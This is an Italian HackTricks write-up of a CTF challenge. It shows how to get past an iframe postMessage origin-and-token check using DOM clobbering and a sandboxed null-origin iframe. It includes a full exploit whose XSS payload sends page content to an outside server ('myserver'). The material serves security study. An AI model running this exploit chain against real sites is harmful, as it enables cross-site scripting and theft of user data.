Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Iframes in SOP-2
Nella soluzione per questa sfida, @Strellic_ propone un metodo simile a quello della sezione precedente. Controlliamolo.
In questa sfida, l'attaccante deve bypassare questo:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Se lo fa, può inviare un postmessage con contenuto HTML che verrà scritto nella pagina con innerHTML senza sanificazione (XSS).
Il modo per bypassare il primo controllo è rendere window.calc.contentWindow undefined e e.source null:
window.calc.contentWindowè in realtàdocument.getElementById("calc"). Puoi sovrascriveredocument.getElementByIdcon<img name=getElementById />(nota che l'API Sanitizer -qui- non è configurata per proteggere contro attacchi di DOM clobbering nel suo stato predefinito).- Pertanto, puoi sovrascrivere
document.getElementById("calc")con<img name=getElementById /><div id=calc></div>. Poi,window.calcsaràundefined. - Ora, abbiamo bisogno che
e.sourcesiaundefinedonull(perché==è usato invece di===,null == undefinedèTrue). Ottenere questo è "facile". Se crei un iframe e invi un postMessage da esso e immediatamente rimuovi l'iframe,e.originsarànull. Controlla il seguente codice
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Per bypassare il secondo controllo riguardo al token, si invia token con valore null e si rende il valore di window.token undefined:
- Inviare
tokennel postMessage con valorenullè banale. window.tokennella chiamata della funzionegetCookieche utilizzadocument.cookie. Nota che qualsiasi accesso adocument.cookiein pagine di originenullgenera un errore. Questo farà sì chewindow.tokenabbia valoreundefined.
La soluzione finale di @terjanq è la seguente:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks